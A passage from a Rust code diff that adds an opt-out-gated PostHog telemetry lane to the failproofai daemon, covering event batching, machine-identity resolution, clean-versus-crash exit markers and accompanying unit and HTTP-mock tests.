`manager.ts` / `install-check.ts` send the Node value on every install and +/// setup event. Sent raw, half of the four release legs would report a second +/// name for a population the other dispatchers already file under `darwin`, and +/// a breakdown by platform would show two — which is the same silent split the +/// identity ladder is built to avoid, arrived at through a property nobody +/// thinks of as an identifier. +/// Takes the name rather than reading `std::env::consts::OS` itself, because +/// the branch that matters is the one this test runner cannot reach: CI and +/// every developer here are on Linux, where the mapping is the identity, so a +/// function that resolved its own input would be asserted only on the case that +/// was never wrong. +fn node_platform(os: &str) -> &str { + match os { + "macos" => "darwin", + "windows" => "win32", + other => other, + } +} + +fn build_batch( + api_key: &str, + identity: &Identity, + machine_id: Option<&str>, + events: &[Event], +) -> Value { + let batch: Vec = events + .iter() + .map(|event| { + let mut props = event.props.clone(); + props.insert("$lib".into(), json!(LIB)); + props.insert("$lib_version".into(), json!(env!("CARGO_PKG_VERSION"))); + props.insert( + "failproofai_version".into(), + json!(env!("CARGO_PKG_VERSION")), + ); + props.insert("product".into(), json!(POSTHOG_PRODUCT)); + props.insert("id_source".into(), json!(identity.source.as_str())); + props.insert( + "platform".into(), + json!(node_platform(std::env::consts::OS)), + ); + props.insert("arch".into(), json!(node_arch())); + if let Some(user) = identity.os_user.as_deref() { + props.insert("os_user".into(), json!(user)); + } + if let Some(machine_id) = machine_id { + props.insert("machine_id".into(), json!(machine_id)); + } + let mut entry = Map::new(); + entry.insert("event".into(), json!(event.name)); + entry.insert("distinct_id".into(), json!(identity.distinct_id)); + entry.insert("properties".into(), Value::Object(props)); + // Stamped when the event happened, not when the batch left: an event + // buffered across a flush interval (or across a whole daemon + // lifetime, for `daemon_started`) would otherwise arrive dated by + // its delivery, and `daemon_started`/`daemon_stopped` in one batch + // would land at the same instant with no order between them. + if let Some(ts) = rfc3339(event.at_ms) { + entry.insert("timestamp".into(), json!(ts)); + } + Value::Object(entry) + }) + .collect(); + json!({ "api_key": api_key, "batch": batch }) +} + +fn rfc3339(at_ms: i64) -> Option { + use time::format_description::well_known::Rfc3339; + time::OffsetDateTime::from_unix_timestamp_nanos(at_ms as i128 * 1_000_000) + .ok()? + .format(&Rfc3339) + .ok() +} + +fn posthog_host() -> String { + std::env::var("FAILPROOFAI_POSTHOG_HOST") + .ok() + .map(|h| h.trim_end_matches('/').to_string()) + .filter(|h| !h.is_empty()) + .unwrap_or_else(|| POSTHOG_HOST.to_string()) +} + +/// PostHog's `/batch/`, not `/capture/`: this lane accumulates several events +/// between flushes and one request for all of them is the difference between a +/// stopping daemon making one call and making five. +fn batch_url() -> String { + format!("{}/batch/", posthog_host()) +} + +fn posthog_api_key() -> String { + std::env::var("FAILPROOFAI_POSTHOG_KEY") + .ok() + .filter(|k| !k.is_empty()) + .unwrap_or_else(|| POSTHOG_API_KEY.to_string()) +} + +// ── The lane ───────────────────────────────────────────────────────────────── + +struct Runner { + client: reqwest::blocking::Client, + identity: Option, + /// The collector counters as of the previous poll. `None` until the + /// collector has published any, and the FIRST observation is only recorded + /// — a collector's initial `starts` is one per task, and reporting that as + /// restarts would make every healthy daemon look like it was crash-looping. + last_collector: Option<(usize, usize, usize)>, +} + +/// Start the telemetry lane. +/// +/// Installs the buffer synchronously — so an event recorded a microsecond later +/// by the worker warm-up is not dropped for want of a lane — and resolves the +/// opt-out once here, before returning, so the very first [`record`] is already +/// gated. Everything expensive (identity, which may run `ioreg`, and every HTTP +/// request) happens on the thread. +/// Returns `None` when the OS refused the thread — telemetry is the most +/// expendable thing in this process, so it must never be the reason a +/// fail-closed daemon does not start. See `audit_lane::spawn` for the full +/// reasoning; it applies identically here. +pub fn spawn(shutdown: Arc) -> Option> { + let home = crate::paths::failproofai_home().ok(); + let enabled = home + .as_deref() + .map(|home| telemetry_allowed(&load_file_config(home))) + // No resolvable home means no config file to consult and no place to + // keep an id. Silence is the safe reading of "we cannot tell". + .unwrap_or(false); + + let lane = Arc::new(Lane { + ring: Mutex::new(VecDeque::with_capacity(16)), + enabled: AtomicBool::new(enabled), + dropped: AtomicU64::new(0), + warned_dropped: AtomicBool::new(false), + identity: Mutex::new(None), + }); + // `set` fails only if a lane is already installed, which happens when the + // unit tests run two in one process. The first one wins and the rest are + // no-ops rather than a panic in a daemon. + let _ = LANE.set(lane.clone()); + + let interval = flush_interval(); + std::thread::Builder::new() + .name("fpai-telemetry".to_string()) + .spawn(move || { + let Some(home) = home else { return }; + let mut runner = Runner { + client: match build_client(Duration::from_secs(5), Duration::from_secs(15)) { + Some(client) => client, + // Without a client there is nothing this thread can do, and + // leaving the gate open would buffer forever. + None => { + lane.enabled.store(false, Ordering::Relaxed); + lane.clear(); + return; + } + }, + identity: None, + last_collector: None, + }; + while !shutdown.load(Ordering::Relaxed) { + // A panic must not end the lane. It would not end the process + // today (`panic = "unwind"`), but it would stop every later + // event silently, which is indistinguishable from a machine + // that opted out. + if std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + runner.tick(&lane, &home) + })) + .is_err() + { + eprintln!("[failproofaid] telemetry lane panicked; continuing next tick"); + } + wait_until_shutdown(&shutdown, interval); + } + }) + .inspect_err(|err| { + eprintln!( + "[failproofaid] could not start the telemetry lane: {err}; this run reports nothing" + ); + }) + .ok() +} + +impl Runner { + fn tick(&mut self, lane: &Lane, home: &Path) { + let config = load_file_config(home); + let allowed = telemetry_allowed(&config); + lane.enabled.store(allowed, Ordering::Relaxed); + if !allowed { + // Cleared, not merely closed: an event buffered a second before the + // switch was flipped must not be delivered a minute after it. + lane.clear(); + // The collector baseline goes with it. These counters are monotonic + // and polled as a DELTA, so keeping the last reading across an + // opt-out window would make the first tick after the switch came + // back on report every failure and restart that happened while the + // machine was told not to report. Dropping it restores the + // first-observation-is-only-recorded rule below, which costs one + // interval of collector history and reports nothing from the window. + self.last_collector = None; + return; + } + + if self.identity.is_none() { + let identity = resolve_identity(home, platform_machine_id()); + *lane.identity.lock().unwrap_or_else(|e| e.into_inner()) = Some(identity.clone()); + self.identity = Some(identity); + } + + self.poll_collector(); + + let Some(identity) = self.identity.clone() else { + return; + }; + send_pending( + lane, + &self.client, + &batch_url(), + &posthog_api_key(), + &identity, + config.machine_id.as_deref(), + ); + } + + /// Turn the collector's monotonic counters into an event when, and only + /// when, one of them moved. + fn poll_collector(&mut self) { + // Cloned out of the lock rather than read through it: `poll_collector` + // does real work below, and holding a read guard across it would block + // the manager thread mid-cycle when it swaps in a new generation. + let Some(metrics) = COLLECTOR_METRICS + .read() + .unwrap_or_else(|e| e.into_inner()) + .clone() + else { + return; + }; + let now = ( + metrics.failures.load(Ordering::Relaxed), + metrics.panics.load(Ordering::Relaxed), + metrics.starts.load(Ordering::Relaxed), + ); + let Some(previous) = self.last_collector.replace(now) else { + return; + }; + let deltas = ( + now.0.saturating_sub(previous.0), + now.1.saturating_sub(previous.1), + now.2.saturating_sub(previous.2), + ); + if deltas == (0, 0, 0) { + return; + } + record( + "daemon_collector_task_failed", + json!({ + "failures": deltas.0, + "panics": deltas.1, + "restarts": deltas.2, + }), + ); + } +} + +/// Drain, send, and put back what did not land. +/// +/// The endpoint and key are parameters rather than read here, so the transport +/// can be exercised against a real HTTP server without mutating process-global +/// environment under a parallel test harness. +fn send_pending( + lane: &Lane, + client: &reqwest::blocking::Client, + url: &str, + api_key: &str, + identity: &Identity, + machine_id: Option<&str>, +) { + let mut batch = lane.drain(); + if batch.is_empty() { + return; + } + let body = build_batch(api_key, identity, machine_id, &batch); + let delivered = client + .post(url) + .json(&body) + .send() + .map(|response| response.status().is_success()) + .unwrap_or(false); + if delivered { + return; + } + batch.retain_mut(|event| { + event.attempts += 1; + event.attempts < MAX_SEND_ATTEMPTS + }); + if batch.is_empty() { + // One line, at the point the events are actually lost, rather than one + // per failed attempt: a machine with no route to PostHog would otherwise + // print a line a minute forever. + eprintln!("[failproofaid] telemetry could not be delivered; dropping this batch"); + return; + } + lane.requeue(batch); +} + +fn build_client(connect: Duration, total: Duration) -> Option { + reqwest::blocking::Client::builder() + .connect_timeout(connect) + .timeout(total) + .build() + .ok() +} + +fn flush_interval() -> Duration { + std::env::var("FAILPROOFAI_TELEMETRY_FLUSH_MS") + .ok() + .and_then(|v| v.parse::().ok()) + .map(|ms| Duration::from_millis(ms.max(MINIMUM_FLUSH_MS))) + .unwrap_or(FLUSH_INTERVAL) +} + +fn wait_until_shutdown(shutdown: &AtomicBool, interval: Duration) { + let deadline = Instant::now() + interval; + while !shutdown.load(Ordering::Relaxed) && Instant::now() < deadline { + let remaining = deadline.saturating_duration_since(Instant::now()); + std::thread::sleep(remaining.min(Duration::from_millis(50))); + } +} + +// ── Lifecycle events ───────────────────────────────────────────────────────── + +/// How the previous run of this daemon ended. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum PreviousExit { + /// No record at all — this home has never run a daemon that kept one. + FirstStart, + /// The previous run wrote its stop marker. + Clean, + /// A marker exists saying a run started and never recorded finishing: a + /// crash, a SIGKILL, or a machine that lost power. The one thing here worth + /// alerting on, and it is invisible from anywhere else — systemd restarts + /// the unit and the next log line looks like an ordinary start. + Unclean, + /// A marker that could not be read or understood. + Unknown, +} + +impl PreviousExit { + fn as_str(self) -> &'static str { + match self { + PreviousExit::FirstStart => "first_start", + PreviousExit::Clean => "clean", + PreviousExit::Unclean => "unclean", + PreviousExit::Unknown => "unknown", + } + } +} + +/// `state/daemon-run.json`. Not in `paths.rs` for the same reason as +/// [`generated_id_path`]: one writer, one reader, both in this module. +#[derive(serde::Serialize, serde::Deserialize)] +struct RunMarker { + schema: u32, + started_at_ms: i64, + /// False from the moment the daemon starts; set true only by an orderly + /// shutdown. Absence of the flip is what makes a crash detectable at all. + clean_exit: bool, + #[serde(default)] + stopped_at_ms: Option, +} + +const RUN_MARKER_SCHEMA: u32 = 1; + +fn run_marker_path(home: &Path) -> PathBuf { + home.join("state").join("daemon-run.json") +} + +fn read_previous_exit(path: &Path) -> (PreviousExit, Option) { + let Ok(text) = std::fs::read_to_string(path) else { + return (PreviousExit::FirstStart, None); + }; + match serde_json::from_str::(&text) { + Ok(marker) if marker.schema != RUN_MARKER_SCHEMA => (PreviousExit::Unknown, None), + Ok(marker) if marker.clean_exit => { + let uptime = marker + .stopped_at_ms + .map(|stopped| (stopped - marker.started_at_ms).max(0) / 1000); + (PreviousExit::Clean, uptime) + } + Ok(_) => (PreviousExit::Unclean, None), + Err(_) => (PreviousExit::Unknown, None), + } +} + +/// Record `daemon_started`, and leave behind the marker that lets the NEXT +/// start say whether this one ended properly. +/// +/// Returns the start instant so the stop event can report an uptime measured +/// monotonically — the one number here that must not be computed from a wall +/// clock an NTP correction can move underneath it. +pub fn record_started() -> Instant { + let started = Instant::now(); + let Ok(home) = crate::paths::failproofai_home() else { + return started; + }; + let path = run_marker_path(&home); + let (previous, previous_uptime) = read_previous_exit(&path); + // No `daemon_version` here: `build_batch` already stamps the binary's + // version onto EVERY event as `$lib_version`, so a second copy on this one + // would be a property that can disagree with itself. + let mut props = json!({ "previous_exit": previous.as_str() }); + if let Some(seconds) = previous_uptime + && let Some(map) = props.as_object_mut() + { + map.insert("previous_uptime_seconds".into(), json!(seconds)); + } + record("daemon_started", props); + + // Best effort. A home that cannot hold the marker costs the NEXT start its + // `previous_exit`, which is why that reads as `first_start` rather than as + // a crash — reporting an unwritable state directory as a crash loop would + // be the noisiest possible way to be wrong. + let marker = RunMarker { + schema: RUN_MARKER_SCHEMA, + started_at_ms: now_ms(), + clean_exit: false, + stopped_at_ms: None, + }; + if let Ok(body) = serde_json::to_string(&marker) { + let _ = write_private(&path, body.as_bytes()); + } + started +} + +/// Record `daemon_stopped` and mark the run clean. +/// +/// The marker is written even when telemetry is off: it is how the next start +/// tells a crash from a `systemctl stop`, and that is worth knowing regardless +/// of whether anything is being reported. +pub fn record_stopped(reason: &'static str, started: Instant) { + record( + "daemon_stopped", + json!({ + "reason": reason, + "uptime_seconds": started.elapsed().as_secs(), + }), + ); + let Ok(home) = crate::paths::failproofai_home() else { + return; + }; + let path = run_marker_path(&home); + let started_at_ms = std::fs::read_to_string(&path) + .ok() + .and_then(|text| serde_json::from_str::(&text).ok()) + .map(|marker| marker.started_at_ms) + .unwrap_or_else(now_ms); + let marker = RunMarker { + schema: RUN_MARKER_SCHEMA, + started_at_ms, + clean_exit: true, + stopped_at_ms: Some(now_ms()), + }; + if let Ok(body) = serde_json::to_string(&marker) { + let _ = write_private(&path, body.as_bytes()); + } +} + +/// One last send, on the way out. +/// +/// Called after the lane thread has joined, so nothing contends with it. It uses +/// a client with much shorter timeouts than the lane's and makes exactly ONE +/// attempt: `systemctl stop` waits on this, and an upgrade that restarts the +/// service pays it every time — a black-holing proxy must cost a stopping +/// daemon a couple of seconds, not the lane's fifteen. +pub fn shutdown_flush() { + let Some(lane) = LANE.get() else { + return; + }; + if !lane.enabled.load(Ordering::Relaxed) { + lane.clear(); + return; + } + // Re-resolved from disk rather than trusted from the atomic: the gate is + // the one thing here that must be answered by the file at the moment of + // sending, not by a value cached up to a tick ago. + let Ok(home) = crate::paths::failproofai_home() else { + return; + }; + let config = load_file_config(&home); + if !telemetry_allowed(&config) { + lane.clear(); + return; + } + let identity = lane + .identity + .lock() + .unwrap_or_else(|e| e.into_inner()) + .clone() + // A daemon that stopped before the lane's first tick still has a + // `daemon_started` worth delivering. + .unwrap_or_else(|| resolve_identity(&home, platform_machine_id())); + let Some(client) = build_client(Duration::from_secs(2), Duration::from_secs(3)) else { + return; + }; + let batch = lane.drain(); + if batch.is_empty() { + return; + } + let body = build_batch( + &posthog_api_key(), + &identity, + config.machine_id.as_deref(), + &batch, + ); + let _ = client.post(batch_url()).json(&body).send(); +} + +fn now_ms() -> i64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_millis() as i64) + .unwrap_or(0) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn scratch(name: &str) -> PathBuf { + let dir = std::env::temp_dir().join(format!( + "fpai-telemetry-{}-{name}-{}", + std::process::id(), + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() + )); + std::fs::create_dir_all(&dir).unwrap(); + dir + } + + fn event(name: &'static str) -> Event { + Event { + name, + props: Map::new(), + at_ms: 1_754_000_000_000, + attempts: 0, + } + } + + fn identity() -> Identity { + Identity { + distinct_id: "abc123".into(), + source: IdSource::Cli, + os_user: Some("chetan".into()), + } + } + + // ── the hash the CLI already uses ──────────────────────────────────────── + + #[test] + fn hmac_sha256_matches_the_rfc_4231_vector() { + // Test case 2: key "Jefe", data "what do ya want for nothing?". + let mac = hmac_sha256(b"Jefe", b"what do ya want for nothing?"); + assert_eq!( + to_hex(&mac), + "5bdcc146bf60754e6a042426089575c75a003f089d2739839dec58b964ec3843" + ); + } + + #[test] + fn hash_to_id_matches_what_node_produces_for_the_same_input() { + // Produced by the exact call in lib/telemetry-id.ts: + // crypto.createHmac("sha256", "failproofai-telemetry-v1") + // .update("d0f8e4a2c1b34e6789ab0123456789cd").digest("hex") + // This is the whole point of reproducing tier 1 in Rust. If it drifts, + // every machine with an /etc/machine-id files itself under two + // different PostHog persons and nothing in the data says so. + assert_eq!( + hash_to_id(b"d0f8e4a2c1b34e6789ab0123456789cd"), + "c9473de2f8cdf2fce81b0cd9f2bc24e277325cca7e1e5d75cf771ab968c54ff8" + ); + } + + // ── the identity ladder ────────────────────────────────────────────────── + + #[test] + fn prefers_the_id_the_cli_already_resolved() { + let home = scratch("id-cli"); + std::fs::create_dir_all(home.join("state")).unwrap(); + std::fs::write(crate::paths::telemetry_id_path(&home), " cafebabe0123 \n").unwrap(); + // Even with a platform id available: agreeing with the CLI's own answer + // beats recomputing one that might have come from a different tier. + let id = resolve_identity(&home, Some("machine-1".into())); + assert_eq!(id.distinct_id, "cafebabe0123"); + assert_eq!(id.source, IdSource::Cli); + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn falls_back_to_the_platform_machine_id_hashed_the_cli_way() { + let home = scratch("id-machine"); + let id = resolve_identity(&home, Some("d0f8e4a2c1b34e6789ab0123456789cd".into())); + assert_eq!(id.source, IdSource::Machine); + assert_eq!( + id.distinct_id, + hash_to_id(b"d0f8e4a2c1b34e6789ab0123456789cd") + ); + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn a_garbage_telemetry_id_file_is_ignored_rather_than_becoming_a_person() { + let home = scratch("id-garbage"); + std::fs::create_dir_all(home.join("state")).unwrap(); + // A truncated write, a stray newline-only file, and something that is + // plainly not an id. Adopting any of them would pin this machine to a + // wrong person id permanently, where falling through recomputes one. + for junk in ["", " \n", "not an id: /home/chetan", &"x".repeat(200)] { + std::fs::write(crate::paths::telemetry_id_path(&home), junk).unwrap(); + let id = resolve_identity(&home, Some("machine-1".into())); + assert_eq!(id.source, IdSource::Machine, "should reject {junk:?}"); + } + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn mints_and_keeps_an_id_when_neither_is_available() { + let home = scratch("id-generated"); + let first = resolve_identity(&home, None); + assert_eq!(first.source, IdSource::Generated); + assert_eq!(first.distinct_id.len(), 32); + // The point of persisting it: a daemon that restarts is still ONE + // person, not one per restart. + let second = resolve_identity(&home, None); + assert_eq!(second.distinct_id, first.distinct_id); + assert_eq!(second.source, IdSource::Generated); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(generated_id_path(&home)) + .unwrap() + .permissions() + .mode() + & 0o777; + assert_eq!(mode, 0o600); + } + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn an_unwritable_home_degrades_to_ephemeral_rather_than_to_silence() { + // A read-only state directory: still reports, but says plainly that the + // id will not survive a restart, so a fleet count can be corrected. + let home = scratch("id-ephemeral"); + let state = home.join("state"); + std::fs::create_dir_all(&state).unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&state, std::fs::Permissions::from_mode(0o500)).unwrap(); + let id = resolve_identity(&home, None); + assert_eq!(id.source, IdSource::Ephemeral); + assert!(!id.distinct_id.is_empty()); + std::fs::set_permissions(&state, std::fs::Permissions::from_mode(0o700)).unwrap(); + } + std::fs::remove_dir_all(&home).ok(); + } + + // ── the opt-out ────────────────────────────────────────────────────────── + + #[test] + fn only_an_explicit_false_switches_telemetry_off() { + // Mirrors `telemetry.enabled !== false` in fp-config.ts. A default + // install writes no [telemetry] block at all, so "absent" has to mean + // on or the shipped default would be unreachable. + let home = scratch("gate-file"); + let cases = [ + ("", true), + ("[telemetry]\nenabled = true\n", true), + ("[mode]\nkind = \"oss\"\n", true), + ("[telemetry]\nenabled = false\n", false), + // Malformed: resolves to the default rather than inventing a third + // answer, exactly as readConfig's catch does. + ("[telemetry\nenabled = ", true), + ]; + for (body, expected) in cases { + std::fs::write(home.join("config.toml"), body).unwrap(); + assert_eq!( + load_file_config(&home).telemetry_enabled, + expected, + "for config {body:?}" + ); + } + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn the_machine_id_rides_from_the_collector_block() { + let home = scratch("gate-machine"); + std::fs::write( + home.join("config.toml"), + "[collector]\nmachine_id = \"m-42\"\n", + ) + .unwrap(); + assert_eq!(load_file_config(&home).machine_id.as_deref(), Some("m-42")); + std::fs::write(home.join("config.toml"), "[collector]\nmachine_id = \"\"\n").unwrap(); + assert_eq!(load_file_config(&home).machine_id, None); + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn the_gate_takes_the_more_restrictive_of_the_two_sources() { + // The file can never be overridden by the environment; that direction is + // what makes it an opt-out rather than a suggestion. (The env half is + // exercised against a real process in tests/telemetry_e2e.rs — reading + // it here would mean mutating process-global state under a test harness + // that runs in parallel.) + let on = FileConfig { + telemetry_enabled: true, + machine_id: None, + }; + let off = FileConfig { + telemetry_enabled: false, + machine_id: None, + }; + assert!(telemetry_allowed(&on) || disabled_by_env()); + assert!(!telemetry_allowed(&off)); + } + + // ── the batch ──────────────────────────────────────────────────────────── + + #[test] + fn a_batch_carries_one_entry_per_event_with_the_daemon_lib() { + let mut first = event("daemon_started"); + first.props.insert("previous_exit".into(), json!("unclean")); + let batch = build_batch( + "phc_test", + &identity(), + Some("m-1"), + &[first, event("daemon_stopped")], + ); + assert_eq!(batch["api_key"], json!("phc_test")); + let entries = batch["batch"].as_array().unwrap(); + assert_eq!(entries.len(), 2); + assert_eq!(entries[0]["event"], json!("daemon_started")); + assert_eq!(entries[0]["distinct_id"], json!("abc123")); + // The timestamp is the event's own, not the batch's — otherwise a start + // and a stop delivered together arrive indistinguishable in time. + assert!( + entries[0]["timestamp"] + .as_str() + .unwrap() + .starts_with("2025-07-31T22:13:20"), + "got {}", + entries[0]["timestamp"] + ); + let props = &entries[0]["properties"]; + assert_eq!(props["$lib"], json!("failproofai-daemon")); + assert_eq!(props["product"], json!("failproofai-oss")); + assert_eq!(props["id_source"], json!("cli")); + assert_eq!(props["machine_id"], json!("m-1")); + assert_eq!(props["os_user"], json!("chetan")); + assert_eq!(props["previous_exit"], json!("unclean")); + // Node's spelling, not Rust's: `x86_64` and `x64` are the same machines + // under two names and a breakdown that splits them reads as two + // populations. + assert!(matches!( + props["arch"].as_str().unwrap(), + "x64" | "arm64" | "arm" | "ia32" + )); + // And the same for the platform, which is the half that is easy to miss + // because nobody thinks of it as an identifier: Rust says `macos` where + // `os.platform()` — what manager.ts and install-check.ts send — says + // `darwin`, so half the release legs would file under a second name. + assert!( + matches!(props["platform"].as_str().unwrap(), "darwin" | "linux"), + "got {}, which is not what the TypeScript dispatchers send", + props["platform"] + ); + // The second event carries the super-properties too, not just the first. + assert_eq!( + entries[1]["properties"]["$lib"], + json!("failproofai-daemon") + ); + } + + #[test] + fn the_platform_is_reported_under_the_name_the_other_dispatchers_use() { + // The macOS row is the whole point and the one this runner cannot reach + // by building the batch: `std::env::consts::OS` is `macos`, `manager.ts` + // and `install-check.ts` send `os.platform()`, which is `darwin`, and + // two of the four release legs are macOS. Sent raw it does not fail — + // it splits one population into two names in every breakdown, the same + // silent split the identity ladder exists to avoid, reached through a + // property nobody thinks of as an identifier. + assert_eq!(node_platform("macos"), "darwin"); + assert_eq!(node_platform("windows"), "win32"); + // Linux agrees already, and an OS neither side has a name for is passed + // through rather than guessed at. + assert_eq!(node_platform("linux"), "linux"); + assert_eq!(node_platform("freebsd"), "freebsd"); + } + + #[test] + fn the_batch_carries_nothing_that_is_not_an_enum_or_a_count() { + // The privacy envelope, as a test rather than a promise: every property + // this module can emit is listed here, so adding one that carries a + // path, a command or a URL fails until it is looked at deliberately. + let allowed = [ + "$lib", + "$lib_version", + "failproofai_version", + "product", + "id_source", + "platform", + "arch", + "os_user", + "machine_id", + "previous_exit", + "previous_uptime_seconds", + "reason", + "uptime_seconds", + "outcome", + "startup_ms", + "failures", + "panics", + "restarts", + "generation", + "generation_changed", + "downloaded", + "repaired", + ]; + let mut sample = event("daemon_worker_spawned"); + for key in ["reason", "outcome", "startup_ms"] { + sample.props.insert(key.into(), json!("x")); + } + let batch = build_batch("k", &identity(), Some("m-1"), &[sample]); + for key in batch["batch"][0]["properties"].as_object().unwrap().keys() { + assert!(allowed.contains(&key.as_str()), "unvetted property: {key}"); + } + } + + // ── the buffer ─────────────────────────────────────────────────────────── + + fn bare_lane() -> Lane { + Lane { + ring: Mutex::new(VecDeque::new()), + enabled: AtomicBool::new(true), + dropped: AtomicU64::new(0), + warned_dropped: AtomicBool::new(false), + identity: Mutex::new(None), + } + } + + #[test] + fn the_ring_is_bounded_and_keeps_the_newest() { + // An unbounded buffer in a process that must not fail is a memory leak + // with a long fuse: the lane is reachable from the hook path, so an + // event storm has to cost bytes rather than the machine. + let lane = bare_lane(); + for _ in 0..RING_CAPACITY { + lane.push(event("filler")); + } + lane.push(event("newest")); + let ring = lane.ring.lock().unwrap(); + assert_eq!(ring.len(), RING_CAPACITY); + // Oldest out, newest kept — the failing head is what a stuck send is + // holding, and the recent events are the ones worth having. + assert_eq!(ring.back().unwrap().name, "newest"); + assert_eq!(lane.dropped.load(Ordering::Relaxed), 1); + } + + #[test] + fn a_requeued_batch_goes_back_at_the_head_and_stays_bounded() { + let lane = bare_lane(); + lane.ring + .lock() + .unwrap() + .push_back(event("already-buffered")); + lane.requeue(vec![event("failed-a"), event("failed-b")]); + let ring = lane.ring.lock().unwrap(); + // Order preserved: the batch that failed is still the oldest. + assert_eq!(ring[0].name, "failed-a"); + assert_eq!(ring[1].name, "failed-b"); + assert_eq!(ring[2].name, "already-buffered"); + drop(ring); + + lane.requeue((0..RING_CAPACITY * 2).map(|_| event("flood")).collect()); + assert_eq!(lane.ring.lock().unwrap().len(), RING_CAPACITY); + } + + // ── the tick's own gate ────────────────────────────────────────────────── + + #[test] + fn a_tick_that_sees_the_switch_off_forgets_the_collector_baseline_too() { + // The collector counters are monotonic and reported as a DELTA against + // the previous reading. Clearing the ring but keeping that reading would + // mean the first tick after the opt-out came back on reported every + // failure and restart that happened WHILE the machine was told not to + // report — the buffered-event bug one level down, in a field nobody + // looks at as buffered state. + let home = scratch("tick-gate"); + std::fs::write(home.join("config.toml"), "[telemetry]\nenabled = false\n").unwrap(); + let lane = bare_lane(); + lane.push(event("daemon_started")); + let mut runner = Runner { + client: build_client(Duration::from_millis(50), Duration::from_millis(50)).unwrap(), + identity: None, + last_collector: Some((7, 1, 9)), + }; + + runner.tick(&lane, &home); + + assert!(!lane.enabled.load(Ordering::Relaxed)); + assert!( + lane.ring.lock().unwrap().is_empty(), + "the ring must be cleared" + ); + assert_eq!( + runner.last_collector, None, + "the next enabled tick must re-baseline rather than report the opt-out window" + ); + std::fs::remove_dir_all(&home).ok(); + } + + // ── persistence ────────────────────────────────────────────────────────── + + #[test] + fn a_write_that_fails_leaves_the_previous_value_intact() { + // The reason this goes tmp → rename like `audit_lane::save_state`, and + // the assertion that actually distinguishes it from a truncate in place: + // a write that does not complete must not destroy what was there. + // + // A truncating open needs write permission on the FILE, not on its + // directory, so against a read-only `state/` it succeeds and overwrites; + // creating a sibling `.tmp` needs the directory and fails, leaving the + // old bytes where they were. That is the difference between a daemon + // that keeps its identity across a bad write and one that adopts half an + // id — a truncated hex string still passes `read_cli_id`'s shape check, + // so it would become this machine's permanent, wrong person id. + let home = scratch("atomic-write"); + let path = generated_id_path(&home); + write_private(&path, b"0123456789abcdef0123456789abcdef").unwrap(); + assert_eq!( + read_cli_id(&path).as_deref(), + Some("0123456789abcdef0123456789abcdef") + ); + let staged: Vec<_> = std::fs::read_dir(home.join("state")) + .unwrap() + .filter_map(|e| e.ok().map(|e| e.file_name())) + .filter(|n| n.to_string_lossy().ends_with(".tmp")) + .collect(); + assert!(staged.is_empty(), "left a staging file behind: {staged:?}"); + + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o600); + + // Root ignores the permission bits, so it cannot observe this. + // SAFETY: getuid reads this process's credentials and cannot fail. + if unsafe { libc::getuid() } != 0 { + let state = home.join("state"); + std::fs::set_permissions(&state, std::fs::Permissions::from_mode(0o500)).unwrap(); + assert!( + write_private(&path, b"ffffffffffffffffffffffffffffffff").is_err(), + "the premise: this write has to fail" + ); + assert_eq!( + read_cli_id(&path).as_deref(), + Some("0123456789abcdef0123456789abcdef"), + "a failed write destroyed the id it was replacing" + ); + std::fs::set_permissions(&state, std::fs::Permissions::from_mode(0o700)).unwrap(); + } + } + std::fs::remove_dir_all(&home).ok(); + } + + // ── the transport, against a real HTTP server ──────────────────────────── + + /// wiremock is async and everything on this lane is blocking, so the runtime + /// is stood up explicitly and every blocking call is made from OUTSIDE it — + /// `reqwest::blocking` panics if it is driven from a thread already inside a + /// tokio runtime. + fn runtime() -> tokio::runtime::Runtime { + tokio::runtime::Builder::new_multi_thread() + .enable_all() + .build() + .unwrap() + } + + #[test] + fn posts_one_batch_that_a_real_server_can_parse() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + let rt = runtime(); + let server = rt.block_on(MockServer::start()); + rt.block_on( + Mock::given(method("POST")) + .and(path("/batch/")) + .respond_with(ResponseTemplate::new(200)) + .mount(&server), + ); + + let lane = bare_lane(); + lane.push(event("daemon_started")); + lane.push(event("daemon_worker_spawned")); + let client = build_client(Duration::from_secs(2), Duration::from_secs(5)).unwrap(); + send_pending( + &lane, + &client, + &format!("{}/batch/", server.uri()), + "phc_test", + &identity(), + Some("m-1"), + ); + + // Delivered means drained: a batch the server accepted must not be + // sitting in the ring waiting to be sent a second time. + assert!(lane.ring.lock().unwrap().is_empty()); + + let requests = rt.block_on(server.received_requests()).unwrap(); + assert_eq!(requests.len(), 1, "one batch, not one request per event"); + let body: Value = serde_json::from_slice(&requests[0].body).unwrap(); + assert_eq!(body["api_key"], json!("phc_test")); + let entries = body["batch"].as_array().unwrap(); + assert_eq!(entries.len(), 2); + assert_eq!(entries[0]["event"], json!("daemon_started")); + assert_eq!( + entries[1]["properties"]["$lib"], + json!("failproofai-daemon") + ); + assert_eq!( + requests[0].headers.get("content-type").unwrap(), + "application/json" + ); + } + + #[test] + fn a_server_that_refuses_the_batch_retries_weakly_and_then_drops_it() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + let rt = runtime(); + let server = rt.block_on(MockServer::start()); + rt.block_on( + Mock::given(method("POST")) + .and(path("/batch/")) + .respond_with(ResponseTemplate::new(500)) + .mount(&server), + ); + + let lane = bare_lane(); + lane.push(event("daemon_started")); + let client = build_client(Duration::from_secs(2), Duration::from_secs(5)).unwrap(); + let url = format!("{}/batch/", server.uri()); + for _ in 0..MAX_SEND_ATTEMPTS { + send_pending(&lane, &client, &url, "k", &identity(), None); + } + // Dropped, not retried forever: a ring whose head can never be delivered + // would never drain, and telemetry loss is the 